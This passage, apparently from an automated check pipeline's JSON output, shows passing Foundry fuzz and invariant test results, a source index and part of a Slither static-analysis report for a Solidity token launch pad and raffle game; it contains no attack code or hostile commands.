result: ok. 5 passed; 0 failed; 0 skipped; finished in 2.49s (2.50s CPU time)\n\nRan 6 tests for test/RaffleEdges.t.sol:RaffleEdgesTest\n[PASS] testFuzz_above200ExactlyTwoHundredDistinctSeats(uint16,uint32,uint8) (runs: 24, μ: 83918171, ~: 80662618)\nLogs:\n  Bound result 245\n  Bound result 2\n\n[PASS] test_deathAtExactlyTenMinutesFromPlayStartAndAllDeadEndsTheGame() (gas: 2741912)\n[PASS] test_kingFundsSignupGameByEntriesAndFundedEthReturnsToCarryWhenNobodyRolls() (gas: 12317228)\n[PASS] test_repeatedDrawCallsInOneBlockOnlyAdvanceAfterSeedAndNeverSeatTwice() (gas: 68203109)\n[PASS] test_rollOneSecondBeforeHardEndWorksAndAtHardEndReverts() (gas: 4943186)\n[PASS] test_unselectedEntrantKeepsEntryHasNoSeatAndCannotRollOrReenter() (gas: 50961407)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 2.49s (1.36s CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 16417561, ~: 16417554)\nLogs:\n  Bound result 12418363529576073759\n  Bound result 0\n  Bound result 137\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 16734410, ~: 16734465)\nLogs:\n  Bound result 19990000000000002605\n  Bound result 38011319999999997136\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 18789872, ~: 15799830)\nLogs:\n  Bound result 3\n  Bound result 876699592022354930\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 16284575, ~: 16284601)\nLogs:\n  Bound result 10000000000000001\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 12309484, ~: 11297042)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 3454570121562513374\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37792, ~: 37819)\nLogs:\n  Bound result 16383\n  Bound result 9206\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21796, ~: 21373)\nLogs:\n  Bound result 99999999999999999998\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 38391, ~: 38570)\nLogs:\n  Bound result 404284521931462223\n  Bound result 3055766169896858080\n  Bound result 3888467660267248490\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 15579993, ~: 14949986)\nLogs:\n  Bound result 9\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.49s (13.49s CPU time)\n\nRan 21 tests for test/Pad.t.sol:PadTest\n[PASS] test_bindingsAndOwner() (gas: 107524)\n[PASS] test_bindingsAreOneShot() (gas: 87591)\n[PASS] test_carryPotStaysThroughNextDraw() (gas: 18355823)\n[PASS] test_closedPadRevertsEverything() (gas: 103611)\n[PASS] test_constructorsNeedNoExternalCodeAndMintNothing() (gas: 719380)\n[PASS] test_deployGasUnderBudget() (gas: 19942)\n[PASS] test_deployHookOnlyByPad() (gas: 33191)\n[PASS] test_failedGenesisIsRestartedByLaunchAndThePadRecovers() (gas: 19554319)\n[PASS] test_fundGamesOnlyKing() (gas: 39546)\n[PASS] test_hookRejectsForeignInitialize() (gas: 7965257)\n[PASS] test_launchRevertsUntilGenesisGraduates() (gas: 16600991)\n[PASS] test_launchValidatesStrings() (gas: 15892604)\n[PASS] test_openPadByAnyoneAfter30Days() (gas: 7835641)\n[PASS] test_openPadByOwnerDeploysHookWithExactFlag() (gas: 7869431)\n[PASS] test_openPadOnlyOnce() (gas: 7907774)\n[PASS] test_openPadRejectsBadSalt() (gas: 203584)\n[PASS] test_openPadStrangerBefore30DaysReverts() (gas: 7135355)\n[PASS] test_restartGenesisRevertsWhileGenesisWaitsOrPlays() (gas: 8290913)\n[PASS] test_runtimeSizesAndNoEscapeOpcodes() (gas: 37951859)\n[PASS] test_templatesCannotBeInitialized() (gas: 8006246)\n[PASS] test_upkeepForOnlyGames() (gas: 8052699)\nSuite result: ok. 21 passed; 0 failed; 0 skipped; finished in 2.49s (513.18ms CPU time)\n\nRan 34 tests for test/V4Pad.t.sol:V4PadTest\n[PASS] testFuzz_bailSequencesConserveETHAndSupply(uint8,uint8) (runs: 64, μ: 10621173, ~: 9933965)\nLogs:\n  Bound result 3\n\n[PASS] testFuzz_sandwichOnConversionChunkLoses(uint96) (runs: 64, μ: 71240765, ~: 71225189)\nLogs:\n  Bound result 59999900000000004260\n\n[PASS] test_IMDDonationsDoNotChangeConversionCreditOrGraduationPrice() (gas: 2892324)\n[PASS] test_anchorBandBoundsCumulativeWalkAndDecaysForAGenuineMove() (gas: 70618272)\n[PASS] test_bailAfterActualSellOutReopensCurveAndCostCountsOnlySpentETH() (gas: 5457110)\n[PASS] test_bailOnlyDuringPlayAndOnlySeatedWallets() (gas: 3475704)\n[PASS] test_bailOutProfitLossMinOutAndConservation() (gas: 3169002)\n[PASS] test_bothCurrencyOrdersGraduateAndPayTheCorrectKingAssets() (gas: 7755635)\n[PASS] test_constructorPoolIdRejectsChangedVenueFields() (gas: 3250554)\n[PASS] test_conversionAccessAndConstructorKeyValidation() (gas: 1091938)\n[PASS] test_conversionLimitIntervalPartialFillAndEscrow() (gas: 70788359)\n[PASS] test_deadWalletMayBailWhileAnotherLivesAndErasedActivityDoesNotDelayEnd() (gas: 3157459)\n[PASS] test_dustFillsDoNotRefreshTheStallClock() (gas: 71689753)\n[PASS] test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip() (gas: 4813841)\n[PASS] test_exactIMDKeyAndEmptyApplicationDeployment() (gas: 67823)\n[PASS] test_failedVenueAttemptDoesNotConsumeInterval() (gas: 70431126)\n[PASS] test_frontRunBundledWithFinalizeCannotLowerTheAnchorAndLoses() (gas: 215390199)\n[PASS] test_graduationPriceEquivalentAndUnlocksInSameTransaction() (gas: 4653088)\n[PASS] test_heldFrontRunAcrossAllChunksIsRefusedAndLoses() (gas: 85893851)\n[PASS] test_kingCollectsIMDAndCoinsInKindAcrossCrown() (gas: 4729161)\n[PASS] test_largeRawTokenRatioDoesNotOverflowPriceEncoding() (gas: 6853)\n[PASS] test_lowGasProbeCannotConsumeConversionInterval() (gas: 70405252)\n[PASS] test_nestedUnlockCallerIsRejectedAndHonestChunkConverts() (gas: 70813418)\n[PASS] test_noReturnIMDStillSettlesGraduationBurnAndFees() (gas: 3312906)\n[PASS] test_observationOnlyRaisesTheAnchorAndEveryTouchRefreshesIt() (gas: 5820729)\n[PASS] test_partial24HourFallbackUsesIMDAndCarriesOnlyRemainingETH() (gas: 71221321)\n[PASS] test_realProgressAboveFloorRefreshesClockButSevenDayCapBounds() (gas: 72595332)\n[PASS] test_rejectedBailPaymentRemainsClaimableAndCannotBePaidTwice() (gas: 1883341)\n[PASS] test_soleBuyerSybilWithProfitableBailAndFiveSurvivorsStillLosesAfterTwoHopDump() (gas: 84699075)\nLogs:\n  Sybil net curve ETH after bailout: 433763283181329605\n  Sybil loss excluding entries and gas: 116818580362673557\n\n[PASS] test_twoGamesKeepIndependentConversionEscrows() (gas: 164715969)\n[PASS] test_twoHopBurnBothPriceLimitsIntervalAndIntermediateAccounting() (gas: 3333127)\nLogs:\n  Two-hop burn gas: 267453\n\n[PASS] test_untouchedGameStartsItsClockOnFirstTouchAndGraduatesIntoIMD() (gas: 2736931)\n[PASS] test_upkeepConvertsAndGraduatesWithBoundedGas() (gas: 71289047)\nLogs:\n  Conversion upkeep gas: 458150\n\n[PASS] test_zeroLiquidityChunksDoNotExtendTimeout() (gas: 2985553)\nSuite result: ok. 34 passed; 0 failed; 0 skipped; finished in 2.72s (4.65s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 86)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 99    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 87    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 86    | 86      | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 120   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 192   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 92    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 207   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 23616\n  Bound result 2995000000000000064\n  Bound result 376138608389625840\n  Bound result 31156961613405421\n  Bound result 13273\n  Bound result 692\n  Bound result 138\n  Bound result 160\n  Bound result 296\n  Bound result 1994836\n  Bound result 17\n  Bound result 91\n  Bound result 2995000002170665077\n  Bound result 100\n  Bound result 4\n  Bound result 6\n  Bound result 0\n  Bound result 1101811521551071131\n  Bound result 0\n  Bound result 91\n  Bound result 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.93s (2.88s CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 23317537, ~: 18986575)\nLogs:\n  Bound result 193\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116648048)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2668339\n  5000-entry draw total gas: 16251823\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 53014690)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 445470)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 647944)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8891019)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1191552)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 5149996)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 687038)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 733751)\n[PASS] test_lapsedCommitFallsBackOnceAndNeverRecommits() (gas: 49688583)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 526724)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 50308019)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 94565686)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1922947)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 3.39s (6.96s CPU time)\n\nRan 1 test for test/V3KingFeesInvariant.t.sol:V3KingFeesInvariantTest\n[PASS]\nV3KingFeesInvariantTest invariants:\n[PASS] invariant_eachReignKeepsItsETHAndTokensIncludingRejectedPayments\n[PASS] invariant_realV4FeesAndBidsConserveETH\n V3KingFeesInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭----------------------+------------+-------+---------+----------╮\n| Contract             | Selector   | Calls | Reverts | Discards |\n+================================================================+\n| KingFeeLedgerHandler | bid        | 1596  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | claim      | 1656  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | distribute | 1594  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | donate     | 1674  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | starveBid  | 1672  | 0       | 0        |\n╰----------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 1000000000000000\n  Bound result 100000000000000000000\n  Bound result 16\n  Bound result 0\n  Bound result 500000\n  Bound result 5400401\n  Bound result 5275559\n  Bound result 9713\n  Bound result 5400051\n  Bound result 5966\n  Bound result 420\n  Bound result 27752659550464\n  Bound result 17\n  Bound result 63\n  Bound result 100000000000000\n  Bound result 1400741\n  Bound result 94210890951955\n  Bound result 5409323\n  Bound result 1224162\n  Bound result 5414814\n  Bound result 16704\n  Bound result 84360270737211602851323\n  Bound result 4194303\n  Bound result 5403601\n  Bound result 99999999999951\n  Bound result 281612805414\n  Bound result 100003\n  Bound result 912081\n  Bound result 5424283\n  Bound result 3546846648\n  Bound result 6\n  Bound result 7477639625207\n  Bound result 55233820198187907090093\n  Bound result 16611\n  Bound result 16429\n  Bound result 11320\n  Bound result 866673\n  Bound result 19345\n  Bound result 18000000000000000\n  Bound result 154087980144090\n  Bound result 62851989520109200883\n  Bound result 9\n  Bound result 13\n  Bound result 10280\n  Bound result 1507695\n  Bound result 600000\n  Bound result 115788164\n  Bound result 2097152\n  Bound result 99999999999841\n  Bound result 55619632766004\n  Bound result 5400201\n  Bound result 31\n  Bound result 7000000\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.10s (4.06s CPU time)\n\nRan 1 test for test/V3ResolverInvariant.t.sol:V3ResolverInvariantTest\n[PASS]\nV3ResolverInvariantTest invariants:\n[PASS] invariant_eachTipIsPendingExpiredOrOwedToItsActualResolver\n[PASS] invariant_paidETHAndTokensRemainFullyAccounted\n V3ResolverInvariantTest invariants (runs: 128, calls: 12288, reverts: 0)\n\n╭-----------------------+----------+-------+---------+----------╮\n| Contract              | Selector | Calls | Reverts | Discards |\n+===============================================================+\n| ResolverLedgerHandler | advance  | 3057  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | claim    | 3129  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | resolve  | 3087  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | roll     | 3015  | 0       | 0        |\n╰-----------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 16\n  Bound result 59\n  Bound result 4\n  Bound result 85\n  Bound result 14\n  Bound result 7\n  Bound result 77\n  Bound result 56\n  Bound result 21\n  Bound result 12\n  Bound result 0\n  Bound result 28\n  Bound result 58\n  Bound result 48\n  Bound result 20\n  Bound result 74\n  Bound result 25\n  Bound result 32\n  Bound result 28\n  Bound result 7\n  Bound result 74\n  Bound result 11\n  Bound result 89\n  Bound result 8\n  Bound result 13\n  Bound result 15\n  Bound result 50\n  Bound result 41\n  Bound result 15\n  Bound result 12\n  Bound result 13\n  Bound result 24\n  Bound result 10\n  Bound result 53\n  Bound result 81\n  Bound result 6\n  Bound result 22\n  Bound result 63\n  Bound result 77\n  Bound result 18\n  Bound result 38\n  Bound result 90\n  Bound result 19\n  Bound result 76\n  Bound result 23\n  Bound result 13\n  Bound result 4\n  Bound result 41\n  Bound result 43\n  Bound result 35\n  Bound result 12\n  Bound result 63\n  Bound result 16\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.56s (6.52s CPU time)\n\nRan 22 test suites in 6.56s (38.20s CPU time): 229 tests passed, 0 failed, 0 skipped (229 total tests)\n","passed":true},{"durationMs":104,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.bailOut(uint256)\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.prepareConversion()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256,address)\",\"PadLiquidity.convertChunk(address)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.executeConversion(uint256,uint160)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.observeMarket()\",\"PadLiquidity.receive()\",\"PadLiquidity.retryPool(uint256)\",\"PadLiquidity.settleCrown()\",\"PadLiquidity.startConversion(uint256,uint64)\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.reclaim(address,uint256)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256,uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":275,\"docs/AUDIT-V2-HISTORY.md\":256,\"docs/AUDIT-V3-HISTORY.md\":311,\"docs/AUDIT.md\":476,\"docs/TEST-REPORT.md\":153,\"docs/VERIFY.md\":76,\"foundry.toml\":22,\"launch.json\":39,\"remappings.txt\":2,\"src/KingOfThePad.sol\":131,\"src/PadGame.sol\":820,\"src/PadHook.sol\":26,\"src/PadLiquidity.sol\":720,\"src/PadToken.sol\":94,\"src/PvPPad.sol\":321,\"src/interfaces/Interfaces.sol\":120,\"src/interfaces/PadErrors.sol\":87,\"src/libs/PadLib.sol\":120,\"test/Adversarial.t.sol\":800,\"test/AtomicDeployment.t.sol\":126,\"test/AuditV3.t.sol\":397,\"test/AuditV3CarryUpkeep.t.sol\":191,\"test/Base.t.sol\":229,\"test/CrownSettlement.t.sol\":252,\"test/Fuzz.t.sol\":293,\"test/Game.t.sol\":767,\"test/Invariants.t.sol\":580,\"test/King.t.sol\":314,\"test/LiquidityV4.t.sol\":248,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":408,\"test/RaffleEdges.t.sol\":273,\"test/RealV4.sol\":85,\"test/Revision.t.sol\":263,\"test/V3-CONTRIBUTOR-REPORT.md\":126,\"test/V3AccountingActors.sol\":18,\"test/V3CarryProperties.t.sol\":130,\"test/V3FailureEdges.t.sol\":354,\"test/V3KingFeesInvariant.t.sol\":250,\"test/V3ResolverInvariant.t.sol\":208,\"test/V4Pad.t.sol\":1124,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true},{"durationMs":8731,"exitCode":0,"name":"slither","output":"[high/medium] arbitrary-send-eth at src/PadLiquidity.sol:680: PadLiquidity._settleEth(uint256) (src/PadLiquidity.sol#680-686) sends eth to arbitrary user\n[high/medium] incorrect-exp at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) has bitwise-xor operator ^ instead of the exponentiation operator **: \n[high/medium] msg-value-loop at src/PvPPad.sol:193: PvPPad.fundGames() (src/PvPPad.sol#193-223) use msg.value in a loop: share = msg.value / count (src/PvPPad.sol#217)\n[high/medium] msg-value-loop at src/PvPPad.sol:193: PvPPad.fundGames() (src/PvPPad.sol#193-223) use msg.value in a loop: share = msg.value * pots[i_scope_0] / total (src/PvPPad.sol#217)\n[high/medium] msg-value-loop at src/PvPPad.sol:193: PvPPad.fundGames() (src/PvPPad.sol#193-223) use msg.value in a loop: share = msg.value - sent (src/PvPPad.sol#218)\n[high/medium] reentrancy-eth at src/PadLiquidity.sol:345: Reentrancy in PadLiquidity.graduate(uint256,address,uint256,uint256,uint256) (src/PadLiquidity.sol#345-399):\n[high/medium] reentrancy-eth at src/PadLiquidity.sol:572: Reentrancy in PadLiquidity.claim() (src/PadLiquidity.sol#572-582):\n[high/medium] reentrancy-eth at src/PadGame.sol:253: Reentrancy in PadGame.roll() (src/PadGame.sol#253-290):\n[high/medium] reentrancy-eth at src/PadGame.sol:339: Reentrancy in PadGame._conversionStep() (src/PadGame.sol#339-352):\n[high/medium] reentrancy-eth at src/PadGame.sol:379: Reentrancy in PadGame.upkeepStep(address) (src/PadGame.sol#379-391):\n[high/medium] reentrancy-eth at src/PadGame.sol:801: Reentrancy in PadGame._graduate() (src/PadGame.sol#801-819):\n[high/medium] reentrancy-eth at src/KingOfThePad.sol:62: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#62-107):\n[high/high] uninitialized-state at src/PadGame.sol:166: PadGame.entrants (src/PadGame.sol#99) is never initialized. It is used in:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/PadGame.sol:647: PadGame._finalize(address) (src/PadGame.sol#647-719) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/medium] divide-before-multiply at src/libs/PadLib.sol:29: PadLib.mulDiv(uint256,uint256,uint256) (src/libs/PadLib.sol#29-62) performs a multiplication on the result of a division:\n[medium/high] incorrect-equality at src/PadGame.sol:439: PadGame.bellRang() (src/PadGame.sol#439-441) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:444: PadGame.status() (src/PadGame.sol#444-453) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadLiquidity.sol:265: PadLiquidity.convertChunk(address) (src/PadLiquidity.sol#265-312) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PvPPad.sol:278: PvPPad.genesisGraduated() (src/PvPPad.sol#278-282) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:542: PadGame.quote(uint256) (src/PadGame.sol#542-555) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:647: PadGame._finalize(address) (src/PadGame.sol#647-719) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:339: PadGame._conversionStep() (src/PadGame.sol#339-352) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:558: PadGame.quoteSell(uint256) (src/PadGame.sol#558-566) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PvPPad.sol:284: PvPPad.genesisFailed() (src/PvPPad.sol#284-287) uses a dangerous strict equality:\n[medium/high] incorrect-equality at src/PadGame.sol:794: PadGame._pay(address,uint256) (src/PadGame.sol#794-799) uses a dangerous strict equality:\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:585: Reentrancy in PadLiquidity.unlockCallback(bytes) (src/PadLiquidity.sol#585-658):\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:101: Reentrancy in PvPPad.restartGenesis() (src/PvPPad.sol#101-108):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:533: Reentrancy in PadLiquidity.burnChunk() (src/PadLiquidity.sol#533-546):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:469: Reentrancy in PadLiquidity._collect(uint256,address) (src/PadLiquidity.sol#469-491):\n[medium/medium] reentrancy-no-eth at src/PadGame.sol:647: Reentrancy in PadGame._finalize(address) (src/PadGame.sol#647-719):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:499: Reentrancy in PadLiquidity.collectPool(uint256,address) (src/PadLiquidity.sol#499-523):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:499: Reentrancy in PadLiquidity.collectPool(uint256,address) (src/PadLiquidity.sol#499-523):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:428: Reentrancy in PadLiquidity._distribute(uint256,bool) (src/PadLiquidity.sol#428-456):\n[medium/medium] reentrancy-no-eth at src/PvPPad.sol:240: Reentrancy in PvPPad._upkeep(address) (src/PvPPad.sol#240-265):\n[medium/medium] reentrancy-no-eth at src/KingOfThePad.sol:62: Reentrancy in KingOfThePad.takeCrown() (src/KingOfThePad.sol#62-107):\n[medium/medium] reentrancy-no-eth at src/PadLiquidity.sol:265: Reentrancy in PadLiquidity.convertChunk(address) (src/PadLiquidity.sol#265-312):\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:433: PadLiquidity._distribute(uint256,bool).floor (src/PadLiquidity.sol#433) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:639: PadLiquidity.unlockCallback(bytes).spent_scope_4 (src/PadLiquidity.sol#639) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:215: PvPPad.fundGames().sent (src/PvPPad.sol#215) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:694: PadGame._finalize(address).paid (src/PadGame.sol#694) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:312: PadGame.bailOut(uint256).latest (src/PadGame.sol#312) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:644: PadLiquidity.unlockCallback(bytes).used (src/PadLiquidity.sol#644) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:703: PadGame._finalize(address).sent (src/PadGame.sol#703) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:684: PadGame._finalize(address).returned (src/PadGame.sol#684) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:604: PadGame._resolveRoll(uint256,address).d (src/PadGame.sol#604) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:645: PadLiquidity.unlockCallback(bytes).out_scope_5 (src/PadLiquidity.sol#645) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:199: PvPPad.fundGames().count (src/PvPPad.sol#199) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:653: PadGame._finalize(address).living (src/PadGame.sol#653) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadGame.sol:605: PadGame._resolveRoll(uint256,address).expired (src/PadGame.sol#605) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PadLiquidity.sol:640: PadLiquidity.unlockCallback(bytes).bought (src/PadLiquidity.sol#640) is a local variable never initialized\n[medium/medium] uninitialized-local at src/PvPPad.sol:200: PvPPad.fundGames().total (src/PvPPad.sol#200) is a local variable never initialized\n[medium/medium] unused-return at src/PadGame.sol:253: PadGame.roll() (src/PadGame.sol#253-290) ignores return value by 